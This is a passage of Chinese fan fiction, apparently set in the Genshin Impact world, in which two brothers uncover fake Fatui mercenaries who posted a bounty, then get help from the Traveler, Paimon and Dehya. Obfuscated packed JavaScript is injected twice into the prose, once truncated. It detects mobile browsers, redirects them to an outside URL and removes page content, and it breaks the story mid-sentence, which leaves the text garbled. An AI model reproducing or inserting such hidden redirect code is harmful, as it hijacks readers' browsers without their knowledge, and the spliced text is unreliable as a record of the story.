“好吧,确实是处理一点小事,不过应该到不了需要动刀的地步。”月见里清也说着把木匣里的东西一一摆出来,指了指这一堆东西,“例行给刀做保养罢了。” 月见里清也话说得含糊,根本没说清是什么事,然而月见里凪和却丝毫没在意。当他看到月见里清也从木匣中拿出打粉棒时,就不自在地移开了视线,心思自然也没放在话上。 他本想趁着弟弟还没察觉到异样时快步离开,但终究还是晚了一步。 月见里清也将长刀拔出刀鞘,看着泛着冷光刀刃皱了皱眉,指尖抚上刃纹时,察觉到了一丝不对劲。 “你替我保养过刀了?”他偏头看向月见里凪和,将对方脸上一闪而过的不自在尽收眼底。 既然被发现了,月见里凪和倒也没否认,坦然地点了点头,“顺手而已。” 月见里清也眼里含着笑,拖长调子说:“哦——原来如此。” 月见里凪和自知这理由毫无说服力,索性不再多言,转身走到门前,拿起斗笠戴好。“厨房给你留了饭,记得吃。” 他说着顿了顿,留下了一句毫无威慑力的补充,“我回来检查。” 月见里清也指腹缓缓擦过刀镡,听着关门响起,他垂下眼眸,轻声笑叹了一声,“……真是的。” 长刀被月见里清也重新收回刀鞘之中,化作水流消散。他等了一会,在心里估算着时间,果然,在月见里凪和前脚刚出门不久,暗线后脚就把情报和名单送到他眼前。 “我们跟踪了昨晚的那伙人,查了他们的资金支出状况,发现他们的确与愚人众有所来往。”暗线说着顿了顿,“只是这支队伍有些奇怪。” 月见里清也靠在沙发上,一手撑头听着暗线汇报情况,视线从手中名单上的人名挨个扫过去。他没出声,暗线便识趣地继续说下去。 他不喜欢听那些长篇大论的过程,暗线便直接汇报结果:“这支队伍并不属于第二席,他们声称自己是以‘个人名义’来到须弥,并且通过本地镀金旅团,暗中发布对您的悬赏。” 月见里清也闻言眉尾一挑,或许是事情太过荒谬,他生气都气不起来,直接笑出了声。 他之前不是没想过自己会被愚人众通缉,但没想到愚人众会向镀金旅团悬赏前第六席副官。 还好自己和哥哥已经不在其列了。 月见里清也掐了掐眉心,没忍住又在心里感叹了一次。 暗线不知道自家老板为什么会笑,但他明智地没有多问。为了避免昨天的情况再次发生,他又递上了一份地图:“那支与镀金旅团接触的小队,他们所驻扎位置也记下来了。” 月见里清也接过地图,这才满意的“嗯”了一声,他没有第一时间打开地图,反而问:“名单上的这些人都记住了吗?” 暗线如实回答:“记住了。” “那就好,”月见里清也依旧撑着脑袋,长发垂在肩膀上,看上去懒懒散散的,说话带着点漫不经心,“都处理了吧。” “是。”暗线应下,转身离开。 但还没走几步,就又被月见里清也叫住,他坐直了身子,展开那份地图说:“你刚刚是不是在外面躲了一会才进来的?” 暗线说:“因为您旁边还有其他人在。” “他是我哥哥,以后任何消息都不用避着他。”月见里清也说着,抬眸淡淡地扫了一眼暗线,“另外,他也是你们的另一个老板,他的命令等同于我的命令。” 暗线脸上浮现出一丝迷茫,但他也不敢多说什么,令了命就快步离开了。 没了说话声,客厅重新安静下来,一时间只剩下微风从窗边透进来,吹动桌上书籍发出的“沙沙”声。 月见里清也将地图重新卷好,起身将窗户都关紧,准备去亲自会一会他们。 一支愚人众的先遣队而已,左右费不了多长时间,月见里清也有信心能在他哥回来之前处理好一切。 当然走之前没忘记把饭吃了。 只是事情处理的比月见里清也预想中的要快得多,那群穿着愚人众制服的乌合之众根本不堪一击,真正稍微费了点手脚的,反而是后面那群被悬赏吸引来的镀金旅团佣兵。 月见里清也无意与他们过多纠缠,出手干脆利落,很快林间空地便横七竖八躺倒了一片。 他随手从一个看似先遣队队长的怀里搜出一张皱巴巴的悬赏令,悬赏金额哪里已经皱得看不出原来的字迹,只能看得清上面的画像。 月见里清也废了半天劲,才勉强辨认出来那画的是自己,有些无语地撇了撇嘴。 “先不说赏金的事,就凭这抽象至极的画工,你们也能看出来是我?我建议你们看看眼科,朋友。”月见里清也睥睨着躺在地上的头目,手上电弧闪烁,准备把这张悬赏令彻底化作灰烬。 就在这时,一个熟悉又急切的声音从不远处传来,“等等!别撕!” 月见里清也手上动作一顿,还没聚起来的电弧瞬间消散。派蒙和空拨开灌木匆匆跑过来,见月见里清也手中悬赏令完好无损,两人不约而同的松了一口气。 “还,还真的是你啊。”派蒙喘着气,对月见里清也说。 “好久不见,二位。”月见里清也跟他俩打了个招呼,像是突然想到什么,戏谑地说:“这让我想起在愚人众里流传的一句话,‘只要但凡是在外执行任务,不管干什么,总会遇到一个金发的旅行者和白色的小精灵挡住我们的去路。’” 他说着踢了踢躺在一旁的愚人众士兵,垂眸问道:“你听说过吗?” 躺在地上的士兵愣愣的一点头。 月见里清也抬头看向空和派蒙,笑得意味深长,对二人说:“你看,有时候诈人消息就是这么简单。” 他说着再次看向士兵时,那幅挂在脸上的笑容却越来越冷,“骗你的,愚人众里从来没有流传过这句话。是你自己交代,还是我来帮你回忆一二?” “等等,”眼看月见里清也三言两语之间就给眼前的“愚人众”点破了身份,派蒙一头雾水的打断道:“等一下,你是怎么看出这伙人不是愚人众的?还有这一帮雇佣兵?” “关于这帮佣兵,就得从这张你们不让我毁掉的悬赏令说起了。”月见里清也下手时有分寸,这伙人只是暂时的失去了行动能力,他索性先跟空和派蒙解释现状, “你如果是说这张悬赏令的话,”空说着拿出一张几乎一模一样的悬赏令,“我们在奥摩斯港也捡到了一张。” 月见里清也接过那张悬赏令,目光在十万摩拉上停留许久,语气古怪地开口:“我什么时候变得这么廉价了?” “所以你的关注点就只有这个吗?!”派蒙急得在空中跺了跺脚。 “说来话长,世界树修改历史后,没有我哥,我自然也不会加入愚人众,但我跟博士之间有段不愉快的经历,世界树也因此给我安排上了一个‘从第二席实验室逃跑的实验品’的身份。”月见里清也将两张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“嗯,那天的愚人众是真的,但他们不是。”月见里清也说着和空一样蹲下身,刀尖划开他们的制服外套,将别在里面的胸针挑了出来,侧身指给空看,“愚人众制服的徽记下都会有专属的饰物,执行官身上挂着的是货真价实的宝石,士兵就只是单纯的颜色不同的配饰。” “比如,第六席士兵身上的是紫色和白色绳子编织的绶带,绀紫色菱形配饰。”他把衣服上的配饰和绶带一同挑下来,拿在手上说,“第四席『仆人』的手下,黑色绶带,黑红色菱形配饰。” 月见里清也手里握着胸针起身,走到下一个“愚人众士兵”面前,如法炮制地将那人制服上的胸针挑下来,递到空的手里,“末席『公子』,金色绶带配正红色饰物。” 他将在场所有的胸针都挑下来递到空的手中,不一会,空就捧了一把五颜六色的彩绳和配饰。月见里清也指着说:“第八席『女士』、甚至还有一个第一席『队长』的。” “你对执行官职务可能不了解,这么说吧,除了队长近几年任务安排少了之外,其他的几位执行官都经常执行跨国任务。”月见里清也说着看向空,“你发现有什么问题没有?” 空想了片刻后说:“你的意思是,有人偷了这些执行官手下的先遣队制服,冒充愚人众对你发布悬赏令。” “很对,”月见里清也点点头,赞许的说,“他们或是偷那些阵亡士兵的制服,或是通过黑市的手段仿造,但不论如何,单单一个逃跑的实验品,还不值得这么多执行官出手。” 派蒙看着他们俩你一言我一语地分析现状,依然有些困惑,“可你之前也说过,那天袭击的愚人众是货真价实的先遣队啊?” “嗯,所以接下来就该当事人亲自解答了。”月见里清也将长刀收回鞘中,视线落回那个先遣队队长身上。 空看着眼前的月见里清也,总觉得他今天有些格外的不同,“不知道为什么,总觉得你今天比平常更有耐心了。” “之前的种种,都建立在你我立场对立的基础上,眼下我们应该没有什么矛盾吧?”月见里清也嘴角微勾,带着点戏谑半开玩笑的说。“还是说你们更喜欢之前那种针锋相对的模式?我可以改。” “谁会喜欢那种相处啊?”派蒙连连摆手说,“你还是维持现状吧。” 月见里清也收敛了笑意,正色道:“那么,麻烦两位帮我望会风,我有一点事要跟这位先生好好聊聊。” 101.“演员” 月见里清也口中的“好好聊聊”自然不可能请对方喝杯茶,坐下来慢慢聊天的,但他也会适当的尊重一下当事人。 考虑到这位伪装成小队队长的先生行动不便,月见里清也打了响指,幽蓝色的藤蔓沿着地面蔓延,缠绕住小队队长的四肢,将他一路拖进营帐之中。 听着那人被拖进去出时发出的惨叫,派蒙捂住耳朵看向空,有些担忧地问:“这真的没问题吗?” 方才那一幕空看得也真切,幽蓝藤木只是捆着人将他拖了进去,并没有其他问题,叫得这么惨可能是因为害怕。 他想了想,“月见里清也做过副官,应该是有数的吧。” 派蒙飞进了些,靠近空的耳边小声说:“你还记得之前,我们在蒙德打听到的消息吗,万一他还是按愚人众的那套来,该怎么办?” 空闻言也陷入沉思,在早些时候,他们曾经从一个在蒙德驻扎愚人众的口中得知了几个不知真假的消息,其中有一个就是关于第六席执行官和他的副官的。 据那个士兵所说,第六席的权力架构十分特殊,表面看着与其他其他几席无异。但实际上那位副官掌握的实权几乎可以和执行官平起平坐,甚至直接掌管了某些部门。 “并且那个副官,是个名副其实的笑面虎,看着很祥和,其实背地行事手段很阴险。”士兵当时心有余悸的描述着,“听小道消息说,经他之手审问的犯人,就没有一个有好下场,而且他平常对待手下也很苛刻,只要犯了一点错,他就会把人扔下船,让人游回至冬。” 说到最后,那个愚人众士兵甚至还煞有其事地对空和派蒙说:“你要是选上司的话,绝对不会选这样的,对吧?” 想起士兵说的话,空和派蒙都沉默了一会。 老实说,暗线士兵的描述,这的确不是什么很好的上司,但是要把这些描述和现在的月见里清也放在一起,总感觉有种莫名的违和感。 结合这段时间跟月见里清也的相处,他们基本上可以把这些消息归为谣言,但有关审讯的事…… 营帐里的哀嚎不知何时停下来了,四周树林空荡荡,偶尔传来几声鸟叫。派蒙竖起耳朵听了听,并没有听到营帐里有什么说话声。 两人对视一眼,空揉了揉额角,最后还是说了句,“……要不我还是进去看看吧。” 空站在营帐前顿了顿,随后掀开帘子走进去,只见假冒愚人众的人被幽蓝藤蔓五花大绑的捆在椅子上,嘴里还堵了一块布。 月见里清也则背对着他,正靠在书桌边沿,翻看着手上的文件,听见动静头都没抬,问道:“你怎么进来了?” 眼前这画面跟空脑补的有些差距,他指了指月见里清也身后的人,“你这是……?” “哦,他喊得太忘我,我只能手动帮他闭嘴,以免他给自己喊缺氧。”月见里清也一目十行扫完那份文件,抬眸看神色尴尬的空,瞬间了然。 他将手里的文件对折,歪了歪头说:“你们该不会认为,我在做什么特别残忍的事吧?” 空闻言更尴尬了,他还不等说什么,月见里清也善解人意的点点头,自顾自地说:“没事,我理解。毕竟之前给你们留下的印象的确不好,警惕我也是很正常的事。” 月见里清也说着将手里的文件往前一递,“我把营帐翻了一遍了,有价值的信息不多,想看就看吧。” 他这句话明明是在说这张递过来的文件,但落在空的耳中,更像是在说看他审讯这件事。 “……”空接过文件,决定以后再也不信这些小道消息了。 月见里清也不知道这其中的底细,但他觉得空如果警惕自己也算正常,懒得深究。转身走到那位被五花大绑的棕发男子身旁,冷声道:“我可以给你拿下来,但你再敢大喊大叫,我会让你永远说不出来话,记住了?” 男子忙不迭的点头,表示自己听懂了。 见这人还算识趣,月见里清也伸手将堵住男子嘴的布料拽了出来,颇为嫌弃的扔到一旁,“说吧,谁在背后指使你干这件事的。” 那人嘴唇动了动,眼神飘忽不定,显然是还有所顾虑。月见里清也眼神一冷,突然一脚踹上椅子,连椅子将人踹翻在地,缠绕在男子身上的幽蓝藤木瞬间长出尖刺,锋利的尖端抵在皮肤上,最长的一根刺距离他的眼球不过半寸。 “我耐心有限,你非要吃些苦头我也可以满足你。”月见里清也俯下身看着男子,微微一笑,“我看你浑身上下也就这双眼睛还凑活,要不就先从这里开始吧。” 男子虽不是愚人众成员,但知道参与人体实验的实验品会经历很多非人的折磨,能活下来的,精神多半不正常。 他看着面前这个眉目清秀的少年,再俊美的长相也不能中和他笑容里的阴冷,他忍不住打了个哆嗦,看着眼前的尖刺,急忙喊道:“别别别!我交代,我说!” 月见里清也脸上的笑意更深了些,踩着椅子边缘,将人重新摆正,藤木上的尖刺也随之收回,他微微偏头,飞快地冲空眨了眨眼。 空也不是第一次看月见里清也演戏了,在看见月见里清也突然动脚踹翻椅子时就有所预感,果不其然,这家伙又是在演戏罢了。 “我们是受到雇佣,一伙自称是愚人众的人找上我们,说是要我们假扮成愚人众,替……”男子说着飞快撇了一眼月见里清也的神色,想起他打算挖自己双眼的举动,咽了口唾沫,将原本打算糊弄过去的人名说了出来,“替他们口中的第二席执行官,回收一件重要的实验品。” 月见里清也听着男子的复述,脸上一点情绪波动也没有,仿佛是在听一件与自己无关的事,“还有呢?” “还有……”男子支吾半天,想不出还有什么。 “你们和上线汇报任务的方式,以及最重要的。”月见里清也出声提醒,他从空手中随手抽走一页文件,展开放到男人面前,“根据你和上线的交流,通缉令是他们指挥你们发布的,你们是如何知道我的长相的?” 男人如实讲:“他们找上我们时先给了一半的钱,至于具体的任务,还有这身衣服,都是来了须弥后他们才给我们的。” “我们一开始都以为,回收的实验品是药剂之类的东西,他们给我看了一张画片,拍的很糊,像是直接拍摄的监视器的画面。” 他说着又想起什么,补了一句,“那张图片实在太糊了,我们其实也不清楚你长什么样,只能尽力的去还原了。但对佣兵来说,只要几个主要特征对,他们自然可以认出你。” “你管那叫还原?恕我直言,凭那张画我可以告你造谣毁谤。”他不提还好,一提月见里清也想起通缉令上那张丑到极致的画像,没忍住刻薄了一句。 一直在后方旁听的空走上前,皱眉问道:“直接拍摄监视器画面?” 男子答道:“对啊,我当时也疑惑,找人的话不都是图片越清晰才越好找吗,可那伙愚人众却说只有这一张图,还叫我不要多问。” 月见里清也和空闻言都没有回话,营帐里重新陷入寂静,男子不安分的动了动,缠绕着他的幽蓝藤木骤然收紧,他哀嚎一声,求饶道:“两位大人高抬贵手,我实在是该说的都能说了啊。” 月见里清也被这杀猪一般的叫声喊回神,吵得他直皱眉,忍着重新将这人嘴堵上的冲动,耐着性子问:“那张画片呢,在什么地方?” “这种重要的东西,自然是放在他们自己手里了啊。” 见再也问不出什么有用的消息,月见里清也直接干脆利落的动手劈晕了男子,随后无视空瞪大的双眼,向着营帐外一偏头说:“这里太闷了,出去说。” 他说的并非托词,须弥气候温暖湿润,中午正值温度最高的时候,营帐内空气不流通,又闷又热,待久了的确不舒服。 出了营帐后,终于接触到新鲜空气的月见里清也才长长的舒了一口气。 “你认为这是博士的手笔吗?”空的声音从他身后传来。 “我到不认为这是多托雷布的局,手法太拙劣了,如果是他,恐怕我现在还查不到这件事与愚人众有关。”月见里清也摇摇头说,“更何况降神计划失败后,那是的他明明有 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月见里清也好像完全不考虑这种情况,以他的谨慎程度来看,这并不正常。 但月见里清也没提,空也不便追问,反而开口提了另一件事,“愚人众这里暂时没有头绪,但是可以处理一下镀金旅团那边的麻烦。” 月见里清也不解地看着他。 派蒙也反应过来了,点头应道:“对啊对啊,这张悬赏令一直挂着的话,不说后续调查,你在城里的生活也会受到影响吧?” 后续调查会交由暗线负责,对月见里清也的影响不大,可这张悬赏令影响他的日常生活倒是真的,尤其是可能会牵连到他哥身上。 “所以呢?你们给我缉拿归案,把那十万的奖金拿了?”月见里清也半开玩笑说。 派蒙无奈的扶额,“你能不能正经一点啊。” “好吧,不开玩笑了。”月见里清也轻笑一声,抱起胳膊看着他们,“二位有什么高见?” “谈不上什么高见,”空接过话,“我们可以回一趟须弥城,找迪希雅帮忙。” “‘炽鬃之狮’,迪希雅,我知道她。”月见里清也说,“但找她并不能解决问题,镀金旅团由一个个独立的佣兵团构成,迪希雅小姐在佣兵里非常出名,但也不能拦住其他佣兵赚钱。” 空却微微一笑,完善了这个计划,“并不是撤销这份悬赏,而是从公开悬赏,转变为私人委托。” 月见里清也沉默片刻,大概懂他们要干什么了。 关于这份悬赏,他一时间也没有更好的解决办法,如果空的计划可行,能够摆脱掉一直跟在身后的佣兵,这对接下来的计划也更有利。 他点点头,打算跟着空和派蒙去一趟炽光猎兽佣兵团。 派蒙飞到他身边,问道:“说起来,为什么月见里凪和今天没跟着你一起?” “我们也不见得每天都形影不离吧。”月见里清也失笑,想起月见里凪和面对那张学生证一脸茫然地模样,没忍住笑出了声,“他今天有事,估计现在还在忙吧。” 他说着话锋一转,眼神中带着几分戏谑,揶揄道:“况且,如果他今天来了,你们方才要戒备的人不就又多了一个?” 空和派蒙纷纷扶额,异口同声道:“你快别提这事了……” 几人说话间,须弥城的轮廓已经近在眼前,只不过刚接近城门,派蒙就猛地刹住脚步,用力揉了揉眼睛,指着前方一道青白色身影说:“等等,是我眼花了吗?那个站在门口的人……看着好像你哥啊!” 月见里清也循声望去,只见城门口熙攘的人流中,一位身着修验者服饰、头戴斗笠的少年格外显眼。他抱臂倚在树边,一副生人勿近的模样。 双方隔得有一段距离,月见里清也看不清他的表情,但毫无疑问的,这人就是今天一早去净善宫的月见里凪和。 “所以说啊,”月见里清也叹了口气,语气里带着几分无奈,小声地对空和派蒙说,“不能背后念叨人。” 102.薄荷糖 空莫名的从月见里清也的语气中品出一点难以察觉的心虚,他看了看月见里清也,又看看前方的月见里凪和,也压低了声音,“你该不会是背着他出来的吧?” “说什么呢,我怎么可能做这种事。”月见里清也不满空的这副说辞,率先迈开步子向前走。 他顶多就是没跟他哥说出去干什么而已。 月见里清也走到月见里凪和面前,眉眼一弯,笑得十分自然,完全看不出心虚,“你怎么来了?” 月见里凪和学着他那天的口吻,学得惟妙惟肖,“怎么?嫌我回来的太早,没想好怎么跟我解释自己偷溜出去的行为?” “什么偷溜,我哪里偷溜了,早上我不都和你说了。”月见里清也反驳道。 月见里凪和眉尾一挑,就等着这句话,饶有意味的盯着月见里清也,“‘应该不至于动刀的地步’,这话是谁说的?” 月见里清也抿了抿唇,在心里不满的“啧”了一声,“你怎么就断定我动了刀?” “不见棺材不落泪,”月见里凪和嗤笑一声,冲自己弟弟一摊手,“敢不敢把你的刀拿出来。” 月见里清也当然不敢。 青璃谭刚刚保养好,虽然刚才的战斗并不激烈,留在刀上的血迹也被月见里清也及时擦拭干净,但武器相撞所造成的痕迹他暂时无法消去。 这种痕迹很小,寻常人看不出来,可月见里凪和又不是普通人,他不仅仅会用刀,曾经还是个刀匠,这点痕迹自然逃不过他的眼睛。 但月见里凪和也犯不着为这点事生气,跟走在后面的空和派蒙打了招呼后,他的目光重新落回自己弟弟身上,“说吧,究竟是什么事。” “说来话长,”月见里清也叹了口气,“先跟着他们去一趟炽光猎兽佣兵团吧,路上我跟你慢慢说。” 月见里清也和月见里凪和来到须弥时间不短,但从没接触过须弥本地的镀金旅团,空和派蒙在前面带着路,月见里清也简略的将这几天的跟踪和假冒愚人众发布悬赏令的事复述给他哥。 有人跟踪这件事,月见里凪和其实早就知晓,毕竟月见里清也能察觉到,他自然也可以。 至于这伙人冲谁而来,已经不言而喻。他自己的存在已经从世界的记忆中抹除,答案自然是落到被世界树强行按上一个“第二席逃脱的实验品”身份的月见里清也头上。 虽然他理智上清楚这个身份是虚假的,但那些博士合作的经历不受控的在他脑海涌现,只不过经历这一切的人,从自己变成月见里清也。 他下意识攥紧了手掌,只要想起月见里清也因为这个莫须有的身份被纠缠,月见里凪和心里就翻涌起一阵烦躁与不爽。 可月见里清也也不是小孩子了,这件事就算他想插手,恐怕也会被月见里清也糊弄过去,就像今天早上一样。 罢了。 不插手归不插手,但作为哥哥,月见里凪和有权利知道事情的详情。 月见里凪和心里这么想着,但面色依旧如常。月见里清也偷偷观察着他哥的神情,说话声音一顿,突然轻轻拍了拍月见里凪和的紧攥的手,将他紧绷的手指一根根捋开。 月见里凪和微微一愣,顺着那力道缓缓松开了手,偏头看过去,只见月见里清也依旧目不斜视地目视前方,仿佛做出这些小动作的人不是他一样。 察觉到月见里凪和的视线,月见里清也这才看过来,脸上带着一副恰到好处的疑惑,对着他轻轻的眨了一下眼睛。 月见里凪和在心里叹了口气,率先移开视线,也装出一副无事发生的模样。 月见里清也无声的勾了勾嘴角,接着自己停顿的地方往下讲。 在听到假冒愚人众的人说“替第二席执行官回收实验品后”,月见里凪和虽不喜欢这个称呼,但仍摇摇头,语气肯定道:“不是他的命令。” 派蒙闻言回过头,问出了她和空心中的疑惑,“为什么你们都觉得这不是博士的计划呢?” “你们也和他交过手,多托雷若真想达成某个目的,他只会铺开一张你无法察觉的陷阱,让你心甘情愿的跳进去。”提及博士,月见里凪和的声音冷了下来,回答说,“他享受的是猎物在绝对力量或智慧差距下,所产生的无力感,而不是由着手下和这帮佣兵胡闹。” “如此拙劣的伎俩,”他丝毫不掩饰话语中的轻蔑,也不知道这份轻蔑是冲着博士,还是那帮假借愚人众名头的人,“别说现在的他,即使是学生时代的他,这种伎俩也只会让他发笑吧。” 空回想起自己与纳西妲摧毁梦境系统后的第二天夜晚,在教令院门口见到博士,以及在在降神计划失败后,依旧敢只身与纳西妲做交易的事,深以为然地点点头。 “但敢打着他的名义行事,有意思。”月见里凪和说到这,语气里才真正有了一点看好戏的笑意。 恐怕多托雷自己也没想到,会有人胆大包天的打着他的名义,惹下一堆烂摊子吧。 毕竟不管月见里清也能否将幕后之人连根拔起,这笔糊涂账最后都会被算在博士身上。 月见里凪和替人收拾过那么多残局,极少见到他们自己被牵连,的确是在幸灾乐祸。 当然,如果这事月见里清也不被卷进去的话,他会更开心一点。 教令院那场动荡过去后,迪希雅暂时还留在须弥城中,因此空和派蒙找到她并没有经历太多麻烦。 “哟!这不是我们的大英雄吗?”迪希雅见到来人,爽朗地笑着招手,跟他们打了招呼后,目光才落在空身后两位少年身上。 她抱着手臂,饶有兴味地打量了一下,“还带了新朋友来?” 派蒙飞上前,迫不及待地解释:“其实我们这次来,是有件事想请你帮忙……” 空接过话茬,言简意赅地将月见里清也被悬赏的前因后果,以及他们希望将公开悬赏转为私人委托的想法说明了一遍。 这是不算太麻烦,更何况发布委托的一伙人已经被月见里清也控制起来,月见里清也本人的意愿就是委托人的意愿。 迪希雅安静地听完,了然地点了点头说:“我明白了,悬赏金额会根据目标而定,他们定的价格太低,会被佣兵认为目标手无缚鸡之力。接这种委托的人一般是手头,紧想找点来钱快的活,其实都不算真正的佣兵,确实像苍蝇一样赶不完。挂在我名下,起码能摆脱掉那些烦人的家伙。” 派蒙想起在记忆空间内看到的,与无相使连接在一起的月见里清也,干笑两声,“手无缚鸡之力的月见里清也……还真是难以想象呢。” “不难想象,我的确不会抓鸡。”月见里清也耸了耸肩,随口说道。 迪希雅的视线顺势转向月见里清也,“所以,这位就是悬赏价值十万的当事人?” 月见里清也面对她直白的目光,不仅没露怯,反而微微一笑,往前了一步,“月见里清也,佣兵的规矩我也懂,雇佣金都会按照定价来,麻烦迪希雅小姐了。” “月见里凪和。”在他一旁的凪和也言简意赅地报了名字。 “麻烦谈不上。”迪希雅摆摆手,笑道,“既然是旅行者和派蒙带来的朋友,这个忙我帮了。至于后续……” 迪希雅自然指的是发布委托的那帮人。 “后续之事交给我们就好,迪希雅小姐无需费心。”月见里清也说着伸出一只手,“那祝我们合作愉快?” “合作愉快。”迪希雅握住他的手说。 事情既已敲定,几人便不再多留。派蒙在空中伸了个懒腰,“顺利解决,嘿嘿。” 须弥城午后的阳光正好,暖融融地洒在街道上,月见里清也眯了眯眼,微风吹过,驱散了先前在营帐和林间的沉闷气息。 听着派蒙说的话,他顺势接话道,“既然顺利解决,要不要一块去吃个饭?我请客。” “哎?这样不好吧……”派蒙虽然这么说,但眼神却已经亮了起来。 “既然都成了‘朋友’了,难道不应该有所表示吗?”月见里清也加重了出自迪希雅口中的“朋友”二字,“况且,二位帮了我这一个忙,我也得表达感谢吧,实在过意不去的话……” 他眉眼一弯,笑盈盈的看向他哥,那双狐狸眼里满是狡黠,“不如,就当成还了帮我哥找花的人情?” 月见里凪和自然对这个提议没什么异议,他点了点头,“我没意见。” 派蒙看向空的眼神都变得殷切起来,空看着眼前这三比一的场面,也笑着点了点头,“那就恭敬不如从命了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691104|176541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 一行人在街角寻了家氛围轻松的餐馆,等到点的菜都上齐,话题几经转变,就变成了空和派蒙在蒙德时听到的那些离奇传闻上。 “我?”月见里清也像是第一次听到这种消息,那双狐狸眼突然瞪大,不可置信地指着自己,“把人扔海里让人游回至冬?” 空和派蒙忍着笑,点了点头。 “还独自架空第六席?独揽大权?”月见里清也看着眼前二人再次点头,匪夷所思道,“我怎么不知道我有这么大的能耐呢?” 或许是他脸上的表情太过凝固,空和派蒙都没忍住笑出声。 他俩不知底细的人笑就算了,月见里清也听着身旁的人也跟着发出一声笑,不可置信地偏过头,精准地捕捉到了他哥眼里那点还未散去的笑意,“你还笑?” 既然被发现,月见里凪和索性也就不装了,眼中的笑意越来越盛,反问道:“我为什么不能笑?” “是啊,要不是前执行官大人敢放权,我哪来的机会架空您啊。”月见里清也木着脸,不冷不热的刺回去。 月见里凪和闻言也不恼,甚至好整以暇地端起自己面前的杯子,像敬酒一般对月见里清也说:“这难道不是从侧面说明你的努力颇具成效?也说明我看人的眼光不错,可喜可贺。” 月见里清也:“……” 他决定低头吃饭,暂时不想理任何人。 空看着眼前互动的兄弟二人,之前萦绕在心头的戒备,在此刻不知不觉消散了许多。 他曾经以为身为第六席执行官的散兵和副官的月见里清也,都是行事乖张,自私又冷酷的人。但眼前这幅景象,却让他看到了他们截然不同的一面。 他们会为无稽的传闻失笑,会互相打趣,会和世间任何一对普通的兄弟一样,坐在喧闹的餐馆里吃一顿平常的饭菜。 在与家人的相处上,他们与自己并没有什么不同。 月见里清也和月见里凪和并非常人,吃饭对他们来说并非必须,一桌菜并未吃多少,主要还是招待空和派蒙。当然,主要战斗力还是派蒙。 吃饱喝足后,月见里清也起身结账,两拨人在餐馆门口道别,月见里清也和月见里凪和两人并肩往家走去,两人一时间谁都没有说话。 过了半晌,等到抬眼就能看到路尽头的家时,月见里凪和才不急不慢地开口:“恐怕你知道的情况,不止今天说出来的那些吧。” 他这句话并非疑问,而是肯定。 月见里清也心知瞒不过,故作乖巧地点了点头,小声说:“我怀疑,这件事与青羽澈给多托雷的那个‘仿造’的核心有关。” 他说着右手指尖动了动,随后又被自己克制住了,只是轻轻搓了搓指尖。 月见里凪和对此早有预料,并没有着急追问细节,将左手摊开,掌心里躺着一颗糖。 “咳,”月见里清也不太自然的清了清嗓子,“我没说我要吃。” “少来这一套。”月见里凪和哼笑一声。 看着月见里清也将自己手中的糖拿走,他这才慢悠悠的补了一句:“还说自己不是三岁小孩。” 月见里清也动作一僵,最后选择充耳不闻。 与月见里凪和讨厌甜食不同,月见里清也对甜的食物接受良好,但唯独接受不了至冬甜到发腻的糖果。 自从到了至冬,月见里清也就没再吃过糖,直到月见里凪和上次给他的水果糖,酸甜适中,果味浓郁,才让他念念不忘。只可惜他至今没找到同款,来源被他哥牢牢垄断。 或许是吃过太多次,也或许是他也没想到哥哥会算计自己,月见里清也毫无防备地拨开糖纸将糖果送入口中。 直到独属于薄荷的清凉感在他味蕾上炸开,激得他一激灵,他才意识到不对劲。 凉意从口腔直冲大脑,月见里清也猛地一皱眉,转头瞪着月见里凪和。 就算不动脑子也知道月见里凪和为什么给自己薄荷糖,这显然是对自己今日隐瞒行踪、独自行动的回礼。 他忍着嘴里的凉气,说话都不敢大声,嘀咕道:“幼稚鬼!” 月见里凪和抱着手看着他,将月见里清也气呼呼地模样尽收眼底,这才慢悠悠地回敬道:“小骗子,彼此彼此。” 103.心有余悸 那股独属薄荷的清凉感在月见里清也嘴里久久不散,他舌尖抵着那颗糖,齿间一用力,几下将那颗糖嚼碎咽下去。 那股凉意瞬间成倍翻涌,顺着口腔直达肺腑,月见里清也拧着眉,想去喝水又不敢喝,进了家门后就坐在沙发上独自散着凉气。 月见里凪和见状,将刚泡好的茶水给他推过去。 月见里清也接过那杯茶,连呼吸都跟着放轻,说话都不敢大声,“你干脆给我找个火史莱姆算了。” “有这么夸张吗?”月见里凪和失笑。 “在这股凉气下去之前,我是不会跟你好好说话的。”月见里清也板着一张脸,不苟言笑放狠话的模样看起来煞有其事。 但月见里凪和心里明白,他不说话纯粹是因为说话会进风,让那股凉意更明显罢了。 月见里凪和并不指望月见里清也会毫无保留的向自己敞开心扉,毕竟弟弟也是独立的一个人,可他希望月见里清也不会在涉及危险的情况下瞒着自己。 但他自己也清楚,何止月见里清也对自己容忍度高,自己对月见里清也的容忍程度也是在不断的降低下限。 除了降神计划那次,月见里清也瞒着自己去和大贤者谈判,这才气急攻心对月见里清也动了手之外,其他的大多数情况他都是任由月见里清也胡来。 所以比起惩罚,这更像一个包含着警示和无奈的捉弄。 “行吧,那听我说。”月见里凪和说,“关于那张学生证,小吉祥草王是说之后有件事需要我帮忙,跟教令院有关,因论派学生的身份能让我行事更加方便一些。” 据纳西妲透露出来的意思来看,她原本还在寻找让月见里凪和入学教令院的契机,结果没想到,他自己那几章文章一发表,倒把立绘主动送上门了。 总之,搞明白这张莫名其妙的学生证是怎么回事之后,月见里凪和接受程度还算良好。 他说着顿了顿,“另外,她还说,如果你想的话,也可以……” 月见里清也小口喝着茶水,闻言连话都没听完,直接摇头回绝:“我不去。” “就因为不想写论文?”月见里凪和挑眉看着他。 “不是。”月见里清也无语地撇了撇嘴,“我对上学没意见,但时间不允许我们这么做,这层身份能够提供的便利有很多,可加入因论派就意味着我要将大部分时间和精力放在学习上,暗线与情报网的工作只能往后推迟。” 